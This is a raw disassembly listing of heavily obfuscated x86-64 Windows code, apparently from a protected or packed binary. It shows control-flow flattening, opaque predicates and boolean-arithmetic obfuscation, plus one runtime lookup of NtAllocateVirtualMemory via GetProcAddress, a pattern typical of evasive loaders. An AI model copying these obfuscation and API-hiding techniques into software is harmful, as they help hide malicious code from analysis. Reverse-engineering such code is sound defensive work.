and ebp, 0x73e0f45b
or ebp, edx
xor ebp, ecx
not eax
or eax, ebp
mov ecx, eax
not ecx
and ecx, 0x778bb665
and eax, 0x8874499a
or eax, ecx
mov ecx, eax
xor ecx, 0x8140100
xor eax, 0x3709b005
and eax, 0xb769f89f
and ecx, 0x48960760
or ecx, eax
mov eax, ecx
xor eax, 0x48920360
xor ecx, 0x36613015
and ecx, 0x36653415
and eax, 0xc99acbea
or eax, ecx
xor eax, 0xc99acbea
setne al
cmp dword [0x14024b72c], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, 1
mov ebx, ecx
xor bl, 1
xor dl, bl
and bl, cl
xor bl, 1
mov r8d, ecx
xor r8b, bl
or bl, cl
xor bl, 1
or bl, r8b
xor bl, al
or al, cl
xor al, 1
or al, dl
mov edx, ebx
xor dl, al
test al, 1
mov ecx, 0x97d09cca
mov eax, 0x8e49db48
cmovne ecx, eax
test bl, 1
cmovne ecx, eax
not dl
test dl, 1
mov eax, 0x97d09cca
jmp 0x1400bc0e6
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x42017130
mov ecx, ebp
and ecx, 0x30928800
or ecx, edx
xor ecx, 0x30928800
mov edx, ebp
and edx, 0x8d6c06cf
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x8d6c06ce
and edx, 0x7293f931
or edx, ecx
and ebx, 0xb7de9725
and ebp, 0x482168da
or ebp, ebx
mov ecx, ebp
xor ecx, 0x48006818
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0x903993c6
and edx, 0x6fc66c39
or edx, edi
xor ebp, 0x90189304
and ebp, 0x903993c6
and ecx, 0x6fc66c39
or ecx, ebp
xor ecx, edx
xor ebx, ecx
test ebx, ecx
setne r8b
sete r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, r9b
mov edx, ecx
xor dl, 1
and cl, al
and bl, r8b
and al, r9b
or al, bl
mov ebx, ecx
xor bl, 1
xor cl, al
xor al, 1
or al, bl
xor al, 1
or al, cl
xor al, dl
and dl, al
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x53e9952a
mov eax, 0xa5df476d
cmovne ecx, eax
test dl, dl
cmove ecx, eax
test bl, 1
mov eax, 0x53e9952a
jmp 0x1400bc0e6
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea esi, [rdx - 1]
imul esi, edx
mov ebx, esi
not ebx
mov ecx, esi
or ecx, 0x6bf2014e
mov edi, ecx
not edi
mov edx, ebx
or edx, 0x940dfeb1
mov ebp, edx
not ebp
and ecx, 0x5095aa40
and edi, 0x840854b1
or edi, ecx
and edx, 0x5095aa40
and ebp, 0x2b62010e
or ebp, edx
xor ebp, edi
mov ecx, ebp
not ecx
and ecx, 0x3a18f4c8
and ebp, 0xc5e70b37
or ebp, ecx
mov ecx, ebp
xor ecx, 0x51eaf587
xor ebp, 0xae150a78
and ebx, ebp
and ecx, esi
or ecx, ebx
xor ebp, ecx
test ebp, ecx
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r9b
mov eax, r9d
or al, r8b
mov ebx, r9d
xor bl, r8b
xor cl, r8b
and r8b, r9b
xor al, 1
mov edx, r8d
and dl, al
xor al, r8b
or al, dl
and bl, r9b
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x9731e898
cmovne edx, r13d
test cl, 1
mov ecx, 0x9731e898
jmp 0x1400bc2fc
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edi, [rcx - 1]
imul edi, ecx
mov esi, edi
not esi
mov ebp, esi
or ebp, 0x6681043f
mov ecx, ebp
not ecx
mov edx, edi
or edx, 0x82c7a00
and edx, 0x6e2c7a38
mov ebx, esi
and ebx, 0x810407
or ebx, edx
and ebp, 0x6e2c7a38
and ecx, 0x915281c0
or ecx, ebp
xor ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x997efbc1
and ecx, 0x6681043e
or ecx, ebp
mov ebp, ecx
not ebp
and esi, 0xf317a359
and edi, 0xce85ca6
or edi, esi
mov edx, edi
xor edx, 0x4280402
xor edi, 0xf317a359
mov ebx, ecx
and ebx, 0x58c67aac
and ebp, 0xa7398553
or ebp, ebx
or ecx, edi
and edi, 0x58c67aac
and edx, 0xa7398553
or edx, edi
xor edx, ebp
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg r11b
mov edx, r11d
and dl, bl
and r8b, r11b
xor r11b, bl
or r11b, dl
mov r9d, r11d
xor r9b, 1
and cl, bl
or cl, r8b
mov r8d, ecx
xor r8b, 1
mov edx, r9d
and dl, r11b
mov ebx, ecx
and bl, r8b
mov r10d, edx
and r10b, r9b
xor dl, r9b
or dl, r10b
mov r10d, ebx
and r10b, cl
xor bl, cl
or bl, r10b
mov eax, edx
xor al, 1
and al, bl
xor bl, 1
and bl, dl
or bl, al
xor r8b, r11b
or cl, r9b
xor cl, 1
or cl, r8b
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xf275b25
mov edx, 0xb463c60d
cmovne eax, edx
test cl, 1
mov ecx, 0xf275b25
cmovne ecx, eax
test bl, 1
jmp 0x1400bc0e6
mov eax, dword [0x14024b730]
mov ecx, dword [0x14024b72c]
lea edi, [rax - 1]
imul edi, eax
mov eax, edi
not eax
mov ebp, eax
and ebp, 0x726b2810
mov edx, edi
and edx, 0x8d94d7ee
or edx, ebp
xor edx, 0x8d94d7ee
mov ebx, edi
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
and eax, edx
and ebx, edi
or ebx, eax
xor edx, ebx
test edx, ebx
sete r8b
setne dl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
xor cl, dl
xor cl, 1
or cl, al
mov r9d, ecx
xor r9b, 1
xor r8b, al
mov eax, r8d
xor al, 1
mov edx, r9d
and dl, cl
mov ebx, eax
and bl, r8b
mov r10d, edx
and r10b, r9b
xor dl, r9b
or dl, r10b
mov r10d, ebx
and r10b, al
xor bl, al
or bl, r10b
xor bl, dl
xor r8b, cl
or al, r9b
xor al, 1
or al, r8b
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0xac01795a
mov ecx, 0xe6fd93cc
cmovne edx, ecx
test al, 1
mov ecx, 0xac01795a
cmovne ecx, edx
test bl, 1
jmp 0x1400bc301
mov ecx, 0x89cfd226
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, 0xaf34986
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x967ed1a0
and edx, ecx
and ecx, 0x69812e5f
or ecx, ebp
mov ebp, ecx
xor ebp, 0x20802240
xor ecx, 0x967ed1a0
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x4f35cc1f
and ebp, 0xb0ca33e0
or ebp, edi
or ecx, ebx
and ebx, 0x4f35cc1f
and edx, 0xb0ca33e0
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
not edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x9f2985df
and ebp, 0x60d67a20
or ebp, edi
or edx, ebx
and ebx, 0x9f2985df
and ecx, 0x60d67a20
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor al, 1
or bl, al
and al, cl
xor cl, dl
and cl, dl
mov edx, eax
xor dl, 1
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
and cl, bl
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0xf923f864
mov ebx, 0xdbe23f49
cmovne ebp, ebx
test al, 1
mov ecx, ebp
cmovne ecx, ebx
test dl, dl
jmp 0x1400bb784
mov ecx, 0xc7292a84
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x2b9559ff
mov edx, eax
and edx, 0xd46aa600
or edx, ecx
mov ebp, edx
xor ebp, 0xd46aa600
xor edx, 0x394009c
mov ecx, ebp
and ecx, 0x8fd8831d
and eax, 0x70277ce2
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x70277ce3
and eax, 0x8fd8831c
or eax, ecx
and edx, 0x57de209c
mov ecx, ebp
and ecx, 0xa821df63
or ecx, edx
xor ecx, 0x57de209d
and ebp, 1
or ebp, ecx
mov ecx, ebp
not ecx
mov edx, eax
not edx
mov ebx, edx
and ebx, 0x53dd8f5b
and eax, 0xac2270a4
or eax, ebx
or edx, ebp
and ebp, 0x53dd8f5b
and ecx, 0xac2270a4
or ecx, ebp
xor ecx, eax
not edx
or edx, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x9e4dc39b
and edx, 0x61b23c64
or edx, eax
mov ebp, edx
xor ebp, 0x40202020
xor edx, 0x2444000
or ecx, 0x7764e4ec
mov eax, ecx
not eax
or edx, 0x88190312
and edx, 0xab5d4756
and ebp, 0x5420a0a8
or ebp, edx
and ecx, 0xab5d4756
and eax, 0x821801
or eax, ecx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x889b1b13
and eax, 0x7764e4ec
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xcfcf40ff
and eax, 0x3030bf00
or eax, ecx
mov ecx, eax
xor ecx, 0x303600
xor eax, 0xb43407b
and eax, 0x3b43c97b
and ecx, 0xc4bc3684
or ecx, eax
xor ecx, 0x3b43c97b
cmp ecx, 0xffffffff
sete al
cmp dword [0x14024b72c], 0xa
setl cl
xor al, cl
xor al, 1
xor cl, al
not cl
and cl, al
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
mov edx, 0x2ecd0050
mov ebp, 0xf339a7d1
cmovne edx, ebp
test al, al
mov eax, 0x2ecd0050
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x1400bad08
mov ecx, 0xb1b866c6
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xe1f2cd95
and edx, eax
or eax, 0x1e0d326a
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0x6c76b45b
and ecx, 0x81804984
or ecx, ebx
or eax, ebp
and ebp, 0x6c76b45b
and edx, 0x93894ba4
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x1e0d326a
and eax, 0xe1f2cd95
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
or ecx, 1
mov ebp, ecx
not ebp
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, eax
not edx
mov ebx, ecx
and ebx, 0xb2b070b8
and ebp, 0x4d4f8f46
or ebp, ebx
or ecx, edx
and edx, 0xb2b070b8
and eax, 0x4d4f8f47
or eax, edx
xor eax, ebp
not ecx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x46c0210
and ecx, 0xc111d841
or ecx, eax
mov ebp, ecx
xor ebp, 0x4100d040
xor ecx, 0x2c60053a
or edx, 0xc57dda51
mov eax, edx
not eax
and ecx, 0xac710d3b
and ebp, 0x410cd240
or ebp, ecx
and edx, 0xac710d3b
and eax, 0x12822084
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0xbfefc44d
and eax, 0x40103bb2
or eax, ecx
mov ecx, eax
xor ecx, 0x850960e1
xor eax, 0x78901c04
and eax, 0x78f49d06
and ecx, 0x870b62f9
or ecx, eax
xor ecx, 0x870b62f9
cmp ecx, 0xffffffff
sete al
setne cl
cmp dword [0x14024b72c], 0xa
setl bl
xor cl, bl
xor cl, 1
mov edx, ebx
or dl, al
xor dl, 1
or dl, cl
xor dl, 1
mov ecx, eax
xor cl, bl
and al, cl
and cl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor cl, dl
mov eax, ecx
not al
and al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x58e5e47a
mov ebp, 0xac362295
jmp 0x1400bb09d
mov ecx, 0x6fa6b60f
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, 0xa9d16cab
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov eax, dword [0x14024b730]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x44182a45
and ecx, 0x30220500
or ecx, eax
mov ebp, ecx
xor ebp, 0x400
xor ecx, 0xb802013
or edx, 0x743a2f45
mov eax, edx
not eax
and ecx, 0x3ba22113
and ebp, 0x44180e44
or ebp, ecx
and edx, 0x3ba22113
and eax, 0x8045d0a8
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x8bc5d0ba
and eax, 0x743a2f45
or eax, ecx
mov edi, eax
not edi
mov ebp, edi
and ebp, 0xa100e30f
mov edx, eax
xor edx, 0xa100e30f
and edx, eax
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x5eff1cf1
and edx, 0xa100e30e
or edx, ebp
and eax, 0xf7eb89d5
mov ecx, edi
and ecx, 0x814762a
or ecx, eax
xor ecx, 0xf7eb89d4
and edi, 1
or edi, ecx
mov ecx, edi
not ecx
mov eax, edx
not eax
mov ebp, eax
and ebp, 0x6b0171c5
and edx, 0x94fe8e3a
or edx, ebp
or eax, edi
and edi, 0x6b0171c5
and ecx, 0x94fe8e3a
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0x9273b60a
and ecx, 0x6d8c49f5
or ecx, ebx
or eax, ebp
and ebp, 0x9273b60a
and edx, 0x6d8c49f5
or edx, ebp
xor edx, ecx
not eax
or eax, edx
sete al
setne cl
cmp dword [0x14024b72c], 9
setg bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
not dl
xor al, bl
mov ebx, eax
not bl
and bl, cl
or cl, al
and al, dl
or al, bl
mov edx, ecx
xor dl, al
mov edx, 0x175975c1
mov ebp, 0xc5c02359
cmovne edx, ebp
test al, al
mov eax, edx
mov ebp, 0x175975c1
cmovne eax, ebp
test cl, cl
cmovne eax, edx
mov ecx, eax
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x644892fc
and ecx, edx
not edx
and edx, 0x644892fc
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x9bb76d03
and ecx, 0x644892fc
or ecx, edx
mov esi, ecx
not esi
mov edx, esi
and edx, 0x950fae67
and ecx, 0x6af05198
or ecx, edx
mov ebp, ecx
xor ebp, 0x6af05198
mov edi, ecx
xor edi, 0x49b2d8ef
and edi, ebp
or esi, 0xdcbd7688
mov ebx, esi
not ebx
mov edx, edi
not edx
mov eax, edx
and eax, 0xb45672c0
and edi, 0x4ba98d3f
or edi, eax
or edx, esi
and esi, 0xb45672c0
and ebx, 0x3008937
or ebx, esi
xor ebx, edi
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x770da83f
and edx, 0x88f257c0
or edx, eax
mov eax, edx
xor eax, 0x4e2008
and ebp, 1
xor ecx, 0x6af05199
or ecx, ebp
mov ebp, ecx
not ebp
xor edx, 0xabb0deb6
mov ebx, edx
and ebx, 0xdeb187c7
and eax, 0x214e7838
or eax, ebx
or edx, ecx
and ecx, 0xdeb187c7
and ebp, 0x214e7838
or ebp, ecx
xor ebp, eax
not edx
or edx, ebp
mov eax, edx
mov ecx, edx
xor ecx, 0xe306868c
and ecx, edx
not edx
and edx, 0xa2040004
and eax, 0x41028688
or eax, edx
xor eax, 0x41028688
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x1cf97973
and ecx, 0xe306868c
or ecx, eax
mov eax, ecx
not eax
and eax, 0x2419d4c
and ecx, 0xfdbe62b3
or ecx, eax
mov eax, ecx
xor eax, 0x698022a3
xor ecx, 0x104c
and ecx, 0x943e505c
and eax, 0x6bc1afa3
or eax, ecx
mov ecx, eax
xor ecx, 0x43c0000
xor eax, 0x2340ae80
and eax, 0xb342fedc
and ecx, 0x4cbd0123
or ecx, eax
xor ecx, 0x4cbd0123
sete dl
setne bl
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl al
and bl, al
and cl, dl
or cl, bl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
xor cl, 1
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xc277a3b8
mov ebp, 0x2b1be23c
cmovne eax, ebp
test dl, 1
mov edx, 0xc277a3b8
cmovne edx, eax
test cl, 1
cmove edx, eax
mov ecx, edx
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ebx
xor ebp, 0xfffffffe
and ebp, ebx
mov edx, ebx
or edx, 1
mov edi, ebp
not edi
mov esi, edx
and esi, 0x6f1af8c2
mov eax, ecx
and eax, 0x90e5073c
or eax, esi
or edx, edi
and edi, 0x6f1af8c2
and ebp, 0x90e5073d
or ebp, edi
xor ebp, eax
not edx
or edx, ebp
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xae863446
and edx, 0x5179cbb9
or edx, ebp
and ebx, 0xae863446
and ecx, 0x5179cbb9
or ecx, ebx
xor ecx, edx
xor eax, ecx
test eax, ecx
sete dl
setne bl
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg al
and bl, al
and cl, dl
or cl, bl
xor cl, 1
or cl, al
xor cl, 1
mov ebx, eax
xor bl, dl
not bl
and bl, dl
or al, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
xor dl, cl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ebp, 0xfffea760
mov ecx, 0xe98f9bd3
cmovne ebp, ecx
test al, 1
mov ecx, 0xfffea760
cmovne ecx, ebp
test dl, 1
jmp 0x1400bb63b
mov eax, dword [0x14024b730]
mov ecx, dword [0x14024b72c]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xfffffffe
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and eax, ebp
and edx, ebx
or edx, eax
not edx
or edx, ebp
cmp edx, 0xffffffff
sete dl
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and al, cl
and bl, dl
or bl, al
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov edx, ebx
xor dl, 1
and dl, cl
xor cl, 1
mov eax, ebx
xor al, cl
and al, bl
and cl, bl
or cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xaace57e7
mov ebp, 0x9ef58800
cmovne edx, ebp
test cl, cl
mov ecx, edx
cmovne ecx, ebp
jmp 0x1400bc2ff
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x15087ca2
mov ebx, ecx
and ebx, 0x8230001
or ebx, edx
xor ebx, 0x8230001
mov edx, ecx
xor edx, 0x1d2b7ca3
and edx, ecx
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xe2d4835d
and edx, 0x1d2b7ca2
or edx, ebx
and ebp, 0xfdfca50b
and ecx, 0x2035af4
or ecx, ebp
mov ebp, ecx
xor ebp, 0x2035af4
xor ecx, 0xfdfca50b
and ecx, edx
not edx
and ebp, edx
or ecx, ebp
xor edx, ecx
test edx, ecx
sete r9b
setne r10b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg cl
mov eax, ecx
xor al, r8b
and al, cl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
xor al, 1
mov edx, eax
xor dl, r10b
not dl
and dl, r10b
or al, r10b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
or r9b, r8b
xor cl, r10b
xor cl, 1
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
xor dl, 1
mov ebx, eax
xor bl, dl
test dl, 1
mov ecx, 0x3e4ba7c1
mov edx, 0xf2d989f9
cmovne ecx, edx
test al, 1
mov eax, 0x3e4ba7c1
cmovne ecx, eax
jmp 0x1400bbc84
mov rcx, qword [0x14024b040]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xc02a4976
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
mov r10d, dword [0x14024b72c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x6988d6e0
and ebp, 0x9677291f
or ebp, edx
mov ebx, ebp
xor ebx, 0x80002115
xor ebp, 0x40088220
or ecx, 0xe038bb75
mov edx, ecx
not edx
or ebp, 0x11040080
and ebp, 0x513c8aa0
and ebx, 0xa0003155
or ebx, ebp
and ecx, 0x513c8aa0
and edx, 0xec3440a
or edx, ecx
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x1fc7448a
and edx, 0xe038bb75
or edx, ecx
mov ebp, edx
mov ebx, edx
xor ebx, 0xf36d4805
and ebx, edx
not edx
and edx, 0x6b71ac10
and ebp, 0x948e53ef
or ebp, edx
mov edi, ebp
xor edi, 0x948e53ef
mov ecx, ebp
xor ecx, 0x981ce415
and ecx, edi
mov edx, ecx
not edx
mov esi, ebx
not esi
mov eax, edx
and eax, 0xe2eda4ba
and ecx, 0x1d125b45
or ecx, eax
or edx, esi
and esi, 0xe2eda4ba
and ebx, 0x1d125b45
or ebx, esi
xor ebx, ecx
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0xfe07ab40
and edx, 0x1f854bf
or edx, eax
mov eax, edx
xor eax, 0x52100c22
and edi, 1
xor ebp, 0x948e53ee
or ebp, edi
mov ecx, ebp
not ecx
xor edx, 0xd6ae344
mov ebx, edx
and ebx, 0xa885b099
and eax, 0x577a4f66
or eax, ebx
or edx, ebp
and ebp, 0xa885b099
and ecx, 0x577a4f66
or ecx, ebp
xor ecx, eax
not edx
or edx, ecx
mov ecx, edx
xor ecx, 0x7d4043b
and ecx, edx
not edx
and edx, 0x7d4043b
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x7dc2a5ba
and ecx, 0x823d5a45
or ecx, eax
mov eax, ecx
xor eax, 0x85801814
xor ecx, 0x2022100
and eax, 0xfd949895
and ecx, 0x26b676a
or ecx, eax
mov eax, ecx
xor eax, 0xe5000804
xor ecx, 0x216028
and ecx, 0x18b5f0b9
and eax, 0xe74a0f46
or eax, ecx
xor eax, 0xe74a0f46
setne r8b
sete r9b
cmp r10d, 9
setg sil
cmp r10d, 0xa
setl r10b
mov edx, r10d
xor dl, sil
and dl, r10b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov eax, edx
xor al, 1
or dl, al
mov r11d, eax
xor r11b, dl
or dl, al
xor dl, 1
or dl, r11b
mov ecx, edx
xor cl, 1
and dl, cl
mov eax, ebx
not al
and al, bl
mov r11d, ecx
and r11b, dl
xor dl, cl
or dl, r11b
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
xor al, dl
mov r11d, eax
xor r11b, 1
and r8b, r10b
or r10b, r9b
xor r10b, 1
and sil, r9b
or sil, r8b
mov ecx, r10d
and cl, sil
xor sil, r10b
or sil, cl
mov ecx, esi
xor cl, 1
mov edx, r11d
and dl, al
mov ebx, esi
and bl, cl
mov r8d, r11d
and r8b, dl
xor dl, r11b
or dl, r8b
mov r8d, esi
and r8b, bl
xor bl, sil
or bl, r8b
mov r8d, edx
xor r8b, 1
and r8b, bl
xor bl, 1
and bl, dl
or bl, r8b
xor sil, r11b
or cl, al
xor cl, 1
or cl, sil
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0xd146d7af
mov edx, 0x4a8b0e45
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0xd146d7af
jmp 0x1400bc0e6
mov ecx, 0x5ca3e6df
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x159b2a8
mov ebp, ebx
and ebp, 0xfea64d57
or ebp, edx
mov edi, ebp
xor edi, 0x18000004
xor ebp, 0x1583000
mov edx, ebx
or edx, 0xe7fe7d52
and ebp, 0xe7fe7d52
and edi, 0x180182ac
or edi, ebp
and edx, 0xe7fe7d53
xor edx, edi
mov ebp, edx
not ebp
and ebp, 0xbb0b692f
and edx, 0x44f496d0
or edx, ebp
mov ebp, edx
xor ebp, 0x908090
xor edx, 0xbb0b692f
mov edi, edx
and edi, 0xe46d764f
and ebp, 0x1b9289b0
or ebp, edi
or edx, ebx
and ebx, 0xe46d764f
and ecx, 0x1b9289b0
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
cmp edx, 0xffffffff
sete r9b
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
mov edx, eax
xor dl, cl
or dl, bl
xor al, r9b
not al
and al, r9b
xor cl, r8b
not cl
and cl, r8b
mov ebx, eax
xor bl, 1
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
and cl, dl
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0xddd220b0
mov ebp, 0xaf34986
cmovne edx, ebp
test al, al
mov ecx, edx
cmovne ecx, ebp
test bl, bl
jmp 0x1400bc301
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ebx, edi
and ebx, 0x317945e8
mov ecx, edx
and ecx, 0xce86ba17
or ecx, ebx
mov ebx, ecx
xor ebx, 0xcc800000
xor ecx, 0x31604500
mov ebp, edi
or ebp, 0x3366ff16
or ecx, 1
and ecx, 0x3366ff17
and ebx, 0xcc9900e8
or ebx, ecx
and ebp, 0x3366ff17
xor ebp, ebx
and edi, 0x48e86264
and edx, 0xb7179d9b
or edx, edi
mov ecx, edx
xor ecx, 0xb7179d9b
xor edx, 0x48e86264
and edx, ebp
not ebp
and ecx, ebp
or edx, ecx
not edx
or edx, ebp
cmp edx, 0xffffffff
setne cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, cl
xor al, 1
or al, bl
xor al, 1
xor bl, cl
xor bl, al
mov edx, ebx
not dl
and dl, al
mov eax, ebx
xor al, dl
test bl, bl
mov ecx, 0x9c8de0fb
mov ebp, 0x3db0aaf5
cmovne ecx, ebp
test dl, dl
mov edx, 0x9c8de0fb
cmove ecx, edx
test al, 1
cmovne ecx, ebp
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov edx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea eax, [rdx - 1]
imul eax, edx
mov ecx, eax
not ecx
mov ebx, eax
xor ebx, 0xfffffffe
and ebx, eax
mov edx, eax
or edx, 1
mov edi, ebx
not edi
mov esi, edx
and esi, 0xb4b60d3e
mov ebp, ecx
